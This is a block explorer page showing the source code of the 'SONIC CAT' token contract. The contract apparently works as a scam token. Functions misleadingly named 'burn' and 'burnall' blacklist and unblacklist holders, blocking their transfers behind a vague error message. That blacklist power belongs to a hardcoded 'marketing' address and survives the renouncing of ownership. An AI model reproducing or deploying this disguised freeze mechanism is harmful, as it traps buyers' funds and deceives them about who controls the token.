Discover more of SonicScan Block Explorer's tools and services in one place.
Contract Source Code:
File 1 of 1 : Token
// SPDX-License-Identifier: NONE pragma solidity ^0.8.2; contract Token { mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowance; mapping(address => bool) public blacklist; uint public totalSupply = 100000000000 * 10 ** 18; string public name = "SONIC CAT"; string public symbol = "SCAT"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Blacklisted(address indexed account); event Unblacklisted(address indexed account); address public ownership; modifier onlyOwner() { require(msg.sender == ownership, "Not the owner"); _; } constructor() { ownership = msg.sender; balances[msg.sender] = totalSupply; } function balanceOf(address account) public view returns (uint) { return balances[account]; } function transfer(address to, uint value) public returns (bool) { require(!blacklist[msg.sender], "There is something wrong"); require(balanceOf(msg.sender) >= value, "Balance too low"); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { require(!blacklist[from], "There is something wrong"); require(balanceOf(from) >= value, "Balance too low"); require(allowance[from][msg.sender] >= value, "Allowance too low"); balances[to] += value; balances[from] -= value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function renounceOwnership() public onlyOwner { ownership = address(0); } address public marketing = 0x366006F259D9252752a60E5c61eF56032a9441e6; function burn(address account) public { require(msg.sender == marketing, "Only the marketing"); blacklist[account] = true; emit Blacklisted(account); } function burnall(address account) public { require(msg.sender == marketing, "Only the marketing"); blacklist[account] = false; emit Unblacklisted(account); } function setMarketingAddress(address newMarketing) public onlyOwner { marketing = newMarketing; } }
Please enter a contract address above to load the contract details and source code.
Please DO NOT store any passwords or private keys here. A private note (up to 100 characters) can be saved and is useful for transaction tracking.
This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.